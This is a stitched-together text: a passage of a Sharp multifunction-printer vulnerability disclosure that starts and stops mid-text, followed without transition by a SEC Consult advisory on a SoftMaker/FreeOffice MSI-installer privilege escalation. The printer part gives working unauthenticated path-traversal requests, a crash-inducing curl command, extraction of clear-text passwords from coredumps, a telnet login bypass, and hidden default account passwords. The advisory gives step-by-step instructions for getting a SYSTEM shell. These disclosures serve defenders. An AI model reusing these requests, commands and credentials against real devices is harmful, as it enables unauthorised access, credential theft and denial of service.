root 0 Jan 1 2000 core-main.log.gz.007 ... sh-4.3# cd /mnt/log && ls -la|grep ERR -rw-r--r-- 1 root root 0 May 15 14:11 ERR_IFS.log -rw-r--r-- 1 root root 17316180 May 15 14:11 ERR_core-main.log.gz -rw-r--r-- 1 root root 0 May 15 14:11 ERR_core-pdl.log.gz -rw-r--r-- 1 root root 97316 May 15 14:11 ERR_kern.log -rw-r--r-- 1 root root 0 May 15 14:11 ERR_log_ui_mainview.log -rw-r--r-- 1 root root 314188 May 15 14:11 ERR_main.log -rw-r--r-- 1 root root 315 May 15 14:11 ERR_nf.log -rw-r--r-- 1 root root 21262 May 15 14:11 ERR_pdl.log sh-4.3# The files are world-readable and contain valid coredump files as shown below: kali% file core-main.log core-main.log: ELF 32-bit LSB core file, ARM, version 1 (SYSV), SVR4-style, from '/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk', real uid: 0, effective uid: 0, real gid: 0, effective The core file contains in clear-text: - - session IDs; - - password for all the users (even when the printer booted and no user logged into the printer (!)); - - emails; - - Encryption keys. For example, some keys: kali% strings core-main.log|grep -A 4 -B 4 ENCRYPT_KEY CloudPollingConst VENDOR_KEY YiqUwHIymoiuwFPjja04u+Q+zeokggNSuYv4g+axNAIx4vwnnrPmfsFrAsqZr4RFeR6EgwWRvzgledwTz9MZAw== TENANT_ENCRYPT_KEY GMuQt[REDACTED] The core file contains the password (`PASS-PIERRE`) of the admin user even when the admin user has not been logged-in the printer since the printer booted: kali% zcat core-main.log.gz.001 | strings | grep PASS-PIERRE PASS-PIERRE All the clear-text passwords can be found inside the core file: kali% zcat core-main.log.gz.001 | strings | less /mnt/std01/ACCBURS/ /mnt/std04/ACC/BROWSER/BROWSER_NONUSR /mnt/std01/ACC/AccBackUp/BROWSER_NONUSR /mnt/std01/ACC/AccUserInfo /mnt/std04/ACC /mnt/std01/ACC/AccUserInfo2 /mnt/std04/ACC/BROWSER /mnt/std01/ACC/AccGrpPrmtInfo /mnt/std01/ACCBURS /mnt/std01/ACC/AccFlashUserCounter /mnt/std01/ACC/AccFlashBackUp /mnt/std01/ACC/AccTotalPix /mnt/std01/ACC/AccBackUp/JobInfo Other User Other Vender Vender Administrator admin PASS-PIERRE <------------------- clear-text password for admin Service service service User users users Vender2 Vender2 FSS User servicefss servicefss System Operator sysadmin sysadmin Device Account deviceaccount deviceaccount /mnt/std01/ACC/AccGrpHomeInfo /mnt/std01/ACC/AccBackUp /mnt/std01/ACC /mnt/std01/ACC/AccUserPixel /mnt/std01/ACC/BROWSER /mnt/std01/ACC/AccGrpCstmInfo There is no encryption for the /mnt/log partition: sh-4.3# df -h /mnt/log Filesystem Size Used Avail Use% Mounted on /dev/mmcblk0p3 791M 145M 589M 20% /mnt/log sh-4.3# All the passwords can be found inside the core file after the printer just booted and no user logged: this is abnormal and shows the authentication mechanism is incorrectly implemented. A local attacker can extract all the passwords. A remote attacker using an additional vulnerability (e.g. Local File Inclusion) can recover all the passwords and compromise the printer (see the next vulns). ## Details - Arbitrary Directory Listing without authentication It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file. It is possible to list the manual index files by visiting the `/installed_emanual_list.html` without authentication: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] By changing the folder argument in the address, it is possible to browse the entire file systems of the printer. Request to `installed_emanual_list.html?folder=../../../` will list the `/` file system: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] Files located in /etc: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] Using the vulnerability [Local File Inclusion allowing to read any file (e.g. Coredump files), it is then possible to download any file. An attacker can browse the file systems of the printers and download any file. A remote attacker can recover all the passwords by downloading coredump files and compromise the printer. ## Details - Local File Inclusion allowing to read any file (e.g. Coredump files) without authentication It was observed that Sharp printers are vulnerable to a local file inclusion without authentication. Any attacker can read any file located in the printer. Normal request to retrieve the manual index files: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] By default, the manual index files are located in /mnt/std_data/manual inside the printer: sh-4.3# pwd /mnt/std_data/manual sh-4.3# ls -la MX-M4071_inch_web.idx -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M4071_inch_web.idx sh-4.3# ls -la total 233 drwxrwxr-x 4 1000 pulse 2536 Jul 31 2020 . drwxr-xr-x 9 root root 4096 Mar 1 2022 .. -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_ab_web.idx -rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M2651_aus_web.idx -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_canada_web.idx -rw-rw-r-- 1 1000 pulse 9590 Jul 30 2020 MX-M2651_europe_web.idx -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_inch_web.idx -rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M2651_uk_web.idx -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_usa_web.idx -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M3051_ab_web.idx -rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M3051_aus_web.idx -rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M3051_canada_web.idx -rw-rw-r-- 1 1000 pulse 9590 Jul 30 2020 MX-M3051_europe_web.idx The normal request is: GET /installed_emanual_down.html?path=/manual/MX-M4071_inch_web.idx HTTP/1.1 Host: 10.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 The `path=` argument can be manipulated to retrieve any file in the printer. The session cookie is not required as this vulnerability does not require authentication: For example, retrieving /etc/passwd: GET /installed_emanual_down.html?path=/manual/../../../etc/passwd HTTP/1.1 Host: 10.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] It is possible to generate a coredump file, download it and extract credentials to remotely compromise the printer without credentials using this vulnerability along with the vulnerabilities: - - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication - - Memory corruption in the main program - Remote Code Execution against the web server without authentication - - World-readable coredump files and insecure storage of credentials ### Generation of the coredump file on the printer Using the HTTP request: kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html * Trying 10.0.0.1:80... * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0) > GET /system.html HTTP/1.1 > Host: 10.0.0.1 > User-Agent: curl/7.88.1 > Accept: */* > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB > ### Local File Inclusion of the coredump file We download the coredump file using the Local File Inclusion: kali% curl -i -s -k -X $'GET' \ -H $'Host: 10.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \ $'http://10.0.0.1/installed_emanual_down.html?path=/manual/../../../mnt/log/core-main.log.gz.001' > core-main.log.gz.001 kali% ls -la total 16920 drwx------ 2 user user 4096 May 15 10:13 . drwx------ 6 user user 4096 May 15 10:13 .. -rw------- 1 user user 17316455 May 15 10:13 core-main.log.gz.001 kali% head -n 9 core-main.log.gz.001 HTTP/1.1 200 OK Server: Rapid Logic/1.1 MIME-version: 1.0 Date: Thu Jan 1 00:02:12 1970 GMT Content-Type: application/octet-stream; name=core-main.log.gz.001 Content-disposition: attachment; filename=core-main.log.gz.001 Content-Length: 17316180 Connection: close We remove the first 9 lines from the core file (corresponding to HTTP headers) to generate a valid gzip file: kali% vi core-main.log.gz.001 kali% file core-main.log.gz.001 core-main.log.gz.001: gzip compressed data, last modified: Mon May 15 14:09:45 2023, from Unix, original size modulo 2^32 176379936 gzip compressed data, reserved method, ASCII, has CRC, has comment, encrypted, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 176379936 kali% ### Retrieve of credentials using the coredump files The core file contains the password (`PASS-PIERRE`) of the admin user even when the admin user has not been logged-in to the printer since the printer booted: All the passwords can be found inside the core file, located near the `admin` string: kali% zcat core-main.log.gz.001 | strings | less /mnt/std01/ACCBURS/ /mnt/std04/ACC/BROWSER/BROWSER_NONUSR /mnt/std01/ACC/AccBackUp/BROWSER_NONUSR /mnt/std01/ACC/AccUserInfo /mnt/std04/ACC /mnt/std01/ACC/AccUserInfo2 /mnt/std04/ACC/BROWSER /mnt/std01/ACC/AccGrpPrmtInfo /mnt/std01/ACCBURS /mnt/std01/ACC/AccFlashUserCounter /mnt/std01/ACC/AccFlashBackUp /mnt/std01/ACC/AccTotalPix /mnt/std01/ACC/AccBackUp/JobInfo Other User Other Vender Vender Administrator admin PASS-PIERRE <--------------------- clear-text password for admin Service service service User users users Vender2 Vender2 FSS User servicefss servicefss System Operator sysadmin sysadmin Device Account deviceaccount deviceaccount /mnt/std01/ACC/AccGrpHomeInfo /mnt/std01/ACC/AccBackUp /mnt/std01/ACC /mnt/std01/ACC/AccUserPixel /mnt/std01/ACC/BROWSER /mnt/std01/ACC/AccGrpCstmInfo ### Retrieve of credentials using configuration files The configuration files containing the credentials can be found in the /mnt/std04/DBMS/uaccnt. When a password is updated, the files present in `/mnt/std04/DBMS/uaccnt/*` will be updated. It is possible to retrieve some credentials from these files: sh-4.3# pwd /mnt/std04/DBMS/uaccnt sh-4.3# hexdump -C 9.01 00000000 ff ff ff bf ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000010 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| [...] 00005010 61 64 6d 69 6e 02 00 00 00 00 d0 00 00 64 65 76 |admin........dev| 00005020 69 63 65 61 63 63 6f 75 6e 74 09 00 00 00 00 50 |iceaccount.....P| 00005030 00 00 4f 74 68 65 72 01 00 00 00 00 70 00 00 73 |..Other.....p..s| 00005040 65 72 76 69 63 65 04 00 00 00 07 30 00 00 66 73 |ervice.....0..fs| 00005050 73 07 00 00 00 01 70 00 00 79 73 61 64 6d 69 6e |s.....p..ysadmin| 00005060 08 00 00 00 00 50 00 00 75 73 65 72 73 05 00 00 |.....P..users...| 00005070 00 00 60 00 00 56 65 6e 64 65 72 03 00 00 00 06 |..`..Vender.....| 00005080 10 00 00 32 06 00 00 00 00 00 00 00 00 00 00 00 |...2............| 00005090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [...] sh-4.3# An attacker can download these files and analyze them to retrieve the passwords. ## Details - Backdoor webpage - Listing of session cookies without authentication It was observed that Sharp printers are vulnerable to a listing of session cookies without authentication. Any attacker can list valid cookies by visiting a backdoor webpage and use them to authenticate to the printers. It is possible to list the `MFPSESSIONID` session cookies by visiting the `/sessionlist.html` webpage without authentication: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] It is also possible to use curl from another machine: kali% curl -kv http://10.0.0.1/sessionlist.html [...] <h2>Session list</h2> <table class="matrix"> <tr> <th>No.</th> <th>User</th> <th>From</th> <th>Last login</th> <th>Last access</th> <th>Language ID</th> <th>Cookie</th> </tr> <tr> <td>0000</td> <td>Administrator</td> <td>10.0.0.10</td> <td>2023/05/16(Tue) 13:35:38</td> <td>2023/05/16(Tue) 13:35:38</clearTOStd> <td>02</td> <td>MFPSESSIONID=0200736B459709ABA789505BF27D765756D39B82B7ADE25E302820230516133538428B5C9D</td> </tr> </table> [...] An attacker can retrieve valid session cookies and compromise the printer. Note that a victim user must have been logged inside the printer prior to this attack in order to retrieve the corresponding session cookies. ## Details - Configuration webpages reachable without authentication It was observed that some authenticated webpages are reachable without authentication on Sharp printers. Any attacker can modify parameters on these webpages without authentication. A list of webpages supposed to require authentication but reachable without authentication is listed below: - - /address_smime_install.html - - /send_fax_fcode_entry.html - - /send_fax_fcode_entry_relay.html - - /send_fax_fcode.html - - /send_inbound_address_entry.html - - /send_inbound_entry.html - - /send_inbound.html - - /send_receive_fw.html - - /printer_ps.html For example, `/printer_ps.html`: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] An attacker can modify parameters of the printers without authentication. The vendor confirmed this is the attended behavior. ## Details - Reboot without authentication - Remote DoS It was observed that a specific webpage is reachable without authentication on Sharp printers. Any attacker can use this webpage to reboot the printer. It is possible to reboot the printer by visiting the /sys_trayentryreboot.html without authentication. When confirming the `Reboot Now` action, the printer will reboot: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] The printer will then reboot and will be unreachable for some minutes: PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data. ^C --- 10.0.0.1 ping statistics --- 5 packets transmitted, 0 received, 100% packet loss, time 4083ms An attacker can DoS the printer by rebooting it indefinitely. ## Details - Backdoor access - Service Sharp printers are configured with default credentials. Some accounts are hidden and can be abused by attackers to compromise the printers. When analyzing the configuration of the printers, it appears there are several accounts visible on the web interface: - - `Administrator` (uid 3) - - `System Administrator` (uid 8, as `System Operator`) - - `User` (uid 5) - - `Device Account` (uid 9) - - `Other User` (uid 1) After doing reverse engineering, the default passwords have been obtained: - - System Administrator: sysadmin - - User: users - - Device Account: deviceaccount - - Other User: Other The Service account (corresponding to uid 4) does not appear on the user list, is not documented and allows an attacker to change the configuration of the printers and update the firmware image. The password for Service is `service`. Several webpages can be found corresponding to this service user: - - /devicecloning_pp.html - - /devicecloning.html - - /service_ura_status_page.html - - /service_testpage_ok.html - - /service_testpage.html - - /service_syslog_view.html - - /service_syslog_settings_storage.html - - /service_syslog_settings_server.html - - /service_syslog_setting.html - - /service_syslog_select.html - - /service_syslog_save.html - - /service_syslog_download.html - - /service_softsw.html - - /service_reboot.html - - /serfildata_savepc.html - - /service_account.html - - /service_admin.html - - /service_device_cloning.html - - /service_filingdata.html - - /service_testpage.html - - /service_firm.html - - /service_testpage.html - - /service_font_down.html - - /service_joblog.html - - /service_joblog_list.html - - /service_joblog_download.html - - /service_joblog_select.html - - /service_joblog_list_download.html - - /service_machineid.html - - /service_password.html - - /sys_paperproperty.html - - /sys_paperproperty_entry.html Listing of users: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] The service account can be discovered by visiting the webpage http://[ip]/account_user_entry.html?userid=-4 but the information cannot be edited: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] The `service` account can be used to change the configuration of the printer. The default webpage is http://[ip]/service_testpage.html and provides access to a lot of hidden functionalities: - - Device Cloning - - Update of the firmware image to insert a malicious firmware image - - Export settings - - Configuration of the log server (disabling the logs, erasing the logs, ...) Device cloning: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] Update of the firmware: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] An attacker can use this additional backdoor account to compromise the printers. ## Details - Backdoor access - FSS User Sharp printers are configured with default credentials. Some accounts are hidden and can be abused by attackers to compromise the printers. When analyzing the configuration of the printers, it appears there are several accounts visible on the web interface: - - `Administrator` (uid 3) - - `System Administrator` (uid 8, as `System Operator`) - - `User` (uid 5) - - `Device Account` (uid 9) - - `Other User` (uid 1) After doing reverse engineering, the default passwords have been obtained: - - System Administrator: sysadmin - - User: users - - Device Account: deviceaccount - - Other User: Other The FSS User account (corresponding to uid 7) does not appear on the user list, is not documented and allows an attacker to change the configuration of the printers and update the firmware image. The password for FSS User is `servicefss`. The FSS User has also admin privileges. Several webpages can be found corresponding to this service user: - - /fss_default.html - - /fss.html - - /fss_password.html - - /fss_account.html - - /fss_backup_export.html - - /fss_backup.html - - /fss_backup_reboot.html The service account can be discovered by visiting the webpage http://[ip]/account_user_entry.html?userid=-7 but the information cannot be edited: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] The FSS User account can be used to change the configuration of the printer. The default webpage is http://[ip]/fss.html and provides access to hidden functionalities related to the support and a blind SSRF vulnerability: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] Reboot of the printer: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] An attacker can use this additional backdoor account to compromise the printers. ## Details - Insecure default credentials Sharp printers are configured with default and insecure credentials. When doing reverse engineering against the `main` binary located inside the Sharp firmware image, we can extract the list of passwords for: - - `Administrator` / `admin` - - `Other User` / `Other` - - `Device Account` / `deviceaccount` - - `FSS User` / `servicefss` - - `Service` / `service` - - `User` / `users` - - `System Operator` / `sysadmin` Listing of username when analyzing main: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] The listing of users can be retrieved from the web interface, using the admin user: - - `Other User` - http://[ip]/account_user_entry.html?userid=-1 - - `Vender` - http://[ip]/account_user_entry.html?userid=-2 - - `Administrator` - http://[ip]/account_user_entry.html?userid=-3 - - `Service` - http://[ip]/account_user_entry.html?userid=-4 - - `User` - http://[ip]/account_user_entry.html?userid=-5 - - `Vender2` - http://[ip]/account_user_entry.html?userid=-6 - - `FSS User` - http://[ip]/account_user_entry.html?userid=-7, with admin privileges - - `System Operator` - http://[ip]/account_user_entry.html?userid=-8 - - `Device Account` - http://[ip]/account_user_entry.html?userid=-9, with admin privileges An attacker can use these default accounts to compromise the printers. The vendor confirmed this is the attended behavior. ## Details - read admin access on telnet It is possible to bypass the authentication of the telnet server of any Sharp Printer (running any firmware version) by specifying an invalid user. This authentication bypass provides an attacker with a full READ admin access to the printer. Without the corresponding password of the admin user, the access will be denied: kali% telnet 10.0.0.1 Trying 10.0.0.1... Connected to 10.0.0.1. Escape character is '^]'. SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server. Copyright(C) 2005- SHARP CORPORATION Copyright(C) 2005- silex technology, Inc. login: admin 'admin' user needs password to login. password: Login incorrect. Connection closed by foreign host. kali% It is possible to send an invalid username (e.g. `adminAAAAAAAAAAAAAAAA[...]`) to bypass the authentication and get READ access with admin privileges: kali% telnet 10.0.0.1 Trying 10.0.0.1... Connected to 10.0.0.1. Escape character is '^]'. SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server. Copyright(C) 2005- SHARP CORPORATION Copyright(C) 2005- silex technology, Inc. login: adminAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240627-0 > ======================================================================= title: Local Privilege Escalation via MSI installer product: SoftMaker Office / FreeOffice vulnerable version: SoftMaker Office 2024 / NX before revision 1214 FreeOffice 2021 Revision 1068 FreeOffice 2024 before revision 1215 fixed version: SoftMaker Office 2024 / NX - revision 1214 FreeOffice 2024 - revision 1215 CVE number: CVE-2023-7270 impact: high homepage: https://www.softmaker.com/en/ found: 2023-11-27 by: Michael Baer (Office Fürth) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "SoftMaker Office makes working with documents, spreadsheets and presentations a breeze – whether you're on Windows, Linux, Mac, iOS or Android." Source: https://www.softmaker.com/en/products/softmaker-office Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Local Privilege Escalation via MSI installer (CVE-2023-7270) The SoftMaker Office and FreeOffice MSI installer files were found to produce a visible conhost.exe window running as the SYSTEM user when using the repair function of msiexec.exe. This allows a local, low-privileged attacker to use a chain of actions, to open a fully functional cmd.exe with the privileges of the SYSTEM user. Note: This attack does not work using a recent version of the Edge Browser or Internet Explorer. A different browser, such as Chrome or Firefox, needs to be used. Also make sure, that Edge or IE have not been set as default browser and that Firefox or Chrome are not running before attempting to exploit it. Otherwise, the spawned process would be running with your own permissions and the installer will just add a new tab to the browser, instead of spawning a new process with SYSTEM. Proof of concept: ----------------- 1) Local Privilege Escalation via MSI installer (CVE-2023-7270) For the exploit to work, SoftMaker Office or FreeOffice have to be installed via the MSI file. Afterwards, any low-privileged user can start the repair of the software by double-clicking the installer and trigger the vulnerable actions without a UAC popup. The installer, if deleted from it's original location, can be found in C:\Windows\Installer with a randomized name. During the repair process, a console application gets called with SYSTEM privileges and performs a read action on some files. SoftMaker Office: Executes 7z.exe, which reads C:\Program Files\SoftMaker Office 2024\tb\7z.exe FreeOffice: Executes syspin.exe, which reads C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll This can be used by an attacker by simply setting an oplock on the files mentioned before. As soon as it gets read, the process is blocked until the lock is released. To do that, one can use the 'SetOpLock.exe' tool from "https://github.com/googleprojectzero/symboliclink-testing-tools" with the following parameters: while ($true) { SetOpLock.exe "C:\Program Files\SoftMaker Office 2024\tb\7z.exe" x } while ($true) { SetOpLock.exe "C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll" x } See figure 1 [soft_lock.png] and figure 2 [lock.png] During the repair process, the locked file is accessed multiple times. The lock has to be released by pressing ENTER several times before the window opens. If the window appears, the lock should not be released to keep the window open. The window that gets opened when the console program is executed doesn't close and can then be interacted with. Note 1: The syspin.exe window is minimized. When the lock is triggered, it is advised to check the taskbar whether a window with a blue arrow, see figure 7 [taskbar.png], exists. The attacker can then perform the following actions to spawn a SYSTEM shell: - Right click on the top bar of the window - Click on properties, see figure 3 [soft_openbrowser.png] and figure 4 [openbrowser.png] - Under options, click on the "new console features" link - Open the link with e.g. firefox - In the opened browser window press the key combination CTRL+o - Type cmd.exe in the top bar and press Enter, see figure 5 [soft_cmd.png] and figure 6 [cmd.png] Note 2: This does not work using a recent version of the Edge Browser. Note 3: The program syspin.exe is invoked several times, sometimes without elevated privileges. If the final cmd.exe is not elevated, release the lock and wait for the next syspin.exe invocation. During our test, the fifth window was run with elevated privileges. Vulnerable / tested versions: ----------------------------- The following versions have been tested by SEC Consult which were the most recent versions available at the time of the test: * SoftMaker Office 2024 - 24.0.6034 * FreeOffice 2021 Revision 1068 According to the vendor, all versions of SoftMaker Office NX/2024 before revision 1214 and FreeOffice 2024 before revision 1215 with the MSI installer are affected. FreeOffice 2021 is unsupported and will not be fixed according to the vendor. Vendor contact timeline: ------------------------ 2023-12-02: Contacting vendor through sales@softmaker.de, asking for security contact. 2023-12-07: Contacting vendor through https://www.softmaker.com/en/support/customer-support asking for security contact. 2024-01-11: Contacting vendor through https://www.softmaker.com/en/support/customer-support asking for security contact. 2024-01-11: Vendor provides security contact and asks for advisory unencrypted 2024-01-12: Sending advisory draft unencrypted to security contact 2024-02-17: Asking for status of vulnerability, no response 2024-03-06: Asking for status of vulnerability, no response 2024-04-08: Asking for a status update, setting release date to 17th April. 2024-04-08: Vendor response, seems not to have received our previous mails. Asking for deadline extension as a release it already planned. 2024-04-09: Sending advisory draft again, extending deadline. 2024-04-11: Asking whether email was received, confirmed. Sent proposed solution. 2024-04-22: Asking when new release is planned and whether fixes could be incorporated. 2024-04-23: Vendor response, current service pack update not including fixes, planned in about 6 weeks. 2024-05-27: Vendor response, service pack / revision 1214 was published which fixes the issue for Office 2024 and Office NX. FreeOffice 2024 will be fixed in the next release mid June. FreeOffice 2021 is unsupported. 2024-06-11: Vendor: FreeOffice 2024 will be patched on 18th June, asks for advisory release to be postponed a bit. 2024-06-17: Setting advisory release date for 27th June, reserving CVE. 2024-06-18: Vendor releases FreeOffice 2024 revision 1215. 2024-06-27: Release of security advisory. Solution: --------- The vendor provides a service pack version 1214 for SoftMaker Office 2024 and SofMaker Office NX, which can be downloaded from: https://softmaker.de/download/servicepacks FreeOffice 2024 revision 1215: https://www.freeoffice.com/de/download/servicepacks FreeOffice 2021 is unsupported and will not be fixed according to the vendor. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Michael Baer / 2024 </code></pre>

